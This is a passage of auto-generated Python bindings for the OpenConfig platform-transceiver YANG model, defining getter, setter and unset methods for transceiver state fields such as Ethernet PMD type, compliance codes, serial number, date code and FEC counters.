'@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="ethernet-pmd", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__ethernet_pmd = t if hasattr(self, '_set'): self._set() def _unset_ethernet_pmd(self): self.__ethernet_pmd = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="ethernet-pmd", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_sonet_sdh_compliance_code(self): """ Getter method for sonet_sdh_compliance_code, mapped from YANG variable /components/component/transceiver/state/sonet_sdh_compliance_code (identityref) YANG Description: SONET/SDH application code supported by the port """ return self.__sonet_sdh_compliance_code def _set_sonet_sdh_compliance_code(self, v, load=False): """ Setter method for sonet_sdh_compliance_code, mapped from YANG variable /components/component/transceiver/state/sonet_sdh_compliance_code (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_sonet_sdh_compliance_code is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_sonet_sdh_compliance_code() directly. YANG Description: SONET/SDH application code supported by the port """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'VSR2000_3R2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'VSR2000_3R3': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R3': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'VSR2000_3R5': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R5': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SONET_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SONET_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="sonet-sdh-compliance-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """sonet_sdh_compliance_code must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'VSR2000_3R2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'VSR2000_3R3': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R3': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'VSR2000_3R5': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R5': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SONET_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SONET_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="sonet-sdh-compliance-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__sonet_sdh_compliance_code = t if hasattr(self, '_set'): self._set() def _unset_sonet_sdh_compliance_code(self): self.__sonet_sdh_compliance_code = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'VSR2000_3R2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'VSR2000_3R3': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R3': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'VSR2000_3R5': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:VSR2000_3R5': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SONET_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SONET_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="sonet-sdh-compliance-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_otn_compliance_code(self): """ Getter method for otn_compliance_code, mapped from YANG variable /components/component/transceiver/state/otn_compliance_code (identityref) YANG Description: OTN application code supported by the port """ return self.__otn_compliance_code def _set_otn_compliance_code(self, v, load=False): """ Setter method for otn_compliance_code, mapped from YANG variable /components/component/transceiver/state/otn_compliance_code (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_otn_compliance_code is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_otn_compliance_code() directly. YANG Description: OTN application code supported by the port """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'P1L1_2D1': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1L1_2D1': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'P1S1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1S1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'P1L1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1L1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTN_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTN_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="otn-compliance-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """otn_compliance_code must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'P1L1_2D1': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1L1_2D1': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'P1S1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1S1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'P1L1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1L1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTN_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTN_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="otn-compliance-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__otn_compliance_code = t if hasattr(self, '_set'): self._set() def _unset_otn_compliance_code(self): self.__otn_compliance_code = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'P1L1_2D1': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1L1_2D1': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'P1S1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1S1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'P1L1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:P1L1_2D2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTN_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTN_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="otn-compliance-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_serial_no(self): """ Getter method for serial_no, mapped from YANG variable /components/component/transceiver/state/serial_no (string) YANG Description: Transceiver serial number. 16-octet field that contains ASCII characters, left-aligned and padded on the right with ASCII spaces (20h). If part serial number is undefined, all 16 octets = 0h """ return self.__serial_no def _set_serial_no(self, v, load=False): """ Setter method for serial_no, mapped from YANG variable /components/component/transceiver/state/serial_no (string) If this variable is read-only (config: false) in the source YANG file, then _set_serial_no is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_serial_no() directly. YANG Description: Transceiver serial number. 16-octet field that contains ASCII characters, left-aligned and padded on the right with ASCII spaces (20h). If part serial number is undefined, all 16 octets = 0h """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="serial-no", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """serial_no must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="serial-no", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False)""", }) self.__serial_no = t if hasattr(self, '_set'): self._set() def _unset_serial_no(self): self.__serial_no = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="serial-no", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) def _get_date_code(self): """ Getter method for date_code, mapped from YANG variable /components/component/transceiver/state/date_code (oc-yang:date-and-time) YANG Description: Representation of the transceiver date code, typically stored as YYMMDD. The time portion of the value is undefined and not intended to be read. """ return self.__date_code def _set_date_code(self, v, load=False): """ Setter method for date_code, mapped from YANG variable /components/component/transceiver/state/date_code (oc-yang:date-and-time) If this variable is read-only (config: false) in the source YANG file, then _set_date_code is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_date_code() directly. YANG Description: Representation of the transceiver date code, typically stored as YYMMDD. The time portion of the value is undefined and not intended to be read. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '^[0-9]{4}\\-[0-9]{2}\\-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}(\\.[0-9]+)?Z[+-][0-9]{2}:[0-9]{2}$'}), is_leaf=True, yang_name="date-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='oc-yang:date-and-time', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """date_code must be of a type compatible with oc-yang:date-and-time""", 'defined-type': "oc-yang:date-and-time", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '^[0-9]{4}\\-[0-9]{2}\\-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}(\\.[0-9]+)?Z[+-][0-9]{2}:[0-9]{2}$'}), is_leaf=True, yang_name="date-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='oc-yang:date-and-time', is_config=False)""", }) self.__date_code = t if hasattr(self, '_set'): self._set() def _unset_date_code(self): self.__date_code = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '^[0-9]{4}\\-[0-9]{2}\\-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}(\\.[0-9]+)?Z[+-][0-9]{2}:[0-9]{2}$'}), is_leaf=True, yang_name="date-code", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='oc-yang:date-and-time', is_config=False) def _get_fault_condition(self): """ Getter method for fault_condition, mapped from YANG variable /components/component/transceiver/state/fault_condition (boolean) YANG Description: Indicates if a fault condition exists in the transceiver """ return self.__fault_condition def _set_fault_condition(self, v, load=False): """ Setter method for fault_condition, mapped from YANG variable /components/component/transceiver/state/fault_condition (boolean) If this variable is read-only (config: false) in the source YANG file, then _set_fault_condition is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_fault_condition() directly. YANG Description: Indicates if a fault condition exists in the transceiver """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="fault-condition", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='boolean', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """fault_condition must be of a type compatible with boolean""", 'defined-type': "boolean", 'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="fault-condition", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='boolean', is_config=False)""", }) self.__fault_condition = t if hasattr(self, '_set'): self._set() def _unset_fault_condition(self): self.__fault_condition = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="fault-condition", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='boolean', is_config=False) def _get_fec_status(self): """ Getter method for fec_status, mapped from YANG variable /components/component/transceiver/state/fec_status (identityref) YANG Description: Operational status of FEC """ return self.__fec_status def _set_fec_status(self, v, load=False): """ Setter method for fec_status, mapped from YANG variable /components/component/transceiver/state/fec_status (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_fec_status is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_fec_status() directly. YANG Description: Operational status of FEC """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'FEC_STATUS_LOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_STATUS_LOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_STATUS_UNLOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_STATUS_UNLOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}},), is_leaf=True, yang_name="fec-status", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """fec_status must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'FEC_STATUS_LOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_STATUS_LOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_STATUS_UNLOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_STATUS_UNLOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}},), is_leaf=True, yang_name="fec-status", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__fec_status = t if hasattr(self, '_set'): self._set() def _unset_fec_status(self): self.__fec_status = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'FEC_STATUS_LOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_STATUS_LOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_STATUS_UNLOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_STATUS_UNLOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}},), is_leaf=True, yang_name="fec-status", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_fec_uncorrectable_blocks(self): """ Getter method for fec_uncorrectable_blocks, mapped from YANG variable /components/component/transceiver/state/fec_uncorrectable_blocks (yang:counter64) YANG Description: The number of blocks that were uncorrectable by the FEC """ return self.__fec_uncorrectable_blocks def _set_fec_uncorrectable_blocks(self, v, load=False): """ Setter method for fec_uncorrectable_blocks, mapped from YANG variable /components/component/transceiver/state/fec_uncorrectable_blocks (yang:counter64) If this variable is read-only (config: false) in the source YANG file, then _set_fec_uncorrectable_blocks is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_fec_uncorrectable_blocks() directly. YANG Description: The number of blocks that were uncorrectable by the FEC """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-uncorrectable-blocks", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """fec_uncorrectable_blocks must be of a type compatible with yang:counter64""", 'defined-type': "yang:counter64", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-uncorrectable-blocks", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False)""", }) self.__fec_uncorrectable_blocks = t if hasattr(self, '_set'): self._set() def _unset_fec_uncorrectable_blocks(self): self.__fec_uncorrectable_blocks = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-uncorrectable-blocks", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) def _get_fec_uncorrectable_words(self): """ Getter method for fec_uncorrectable_words, mapped from YANG variable /components/component/transceiver/state/fec_uncorrectable_words (yang:counter64) YANG Description: The number of words that were uncorrectable by the FEC """ return self.__fec_uncorrectable_words def _set_fec_uncorrectable_words(self, v, load=False): """ Setter method for fec_uncorrectable_words, mapped from YANG variable /components/component/transceiver/state/fec_uncorrectable_words (yang:counter64) If this variable is read-only (config: false) in the source YANG file, then _set_fec_uncorrectable_words is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_fec_uncorrectable_words() directly. YANG Description: The number of words that were uncorrectable by the FEC """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-uncorrectable-words", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """fec_uncorrectable_words must be of a type compatible with yang:counter64""", 'defined-type': "yang:counter64", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-uncorrectable-words", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False)""", }) self.__fec_uncorrectable_words = t if 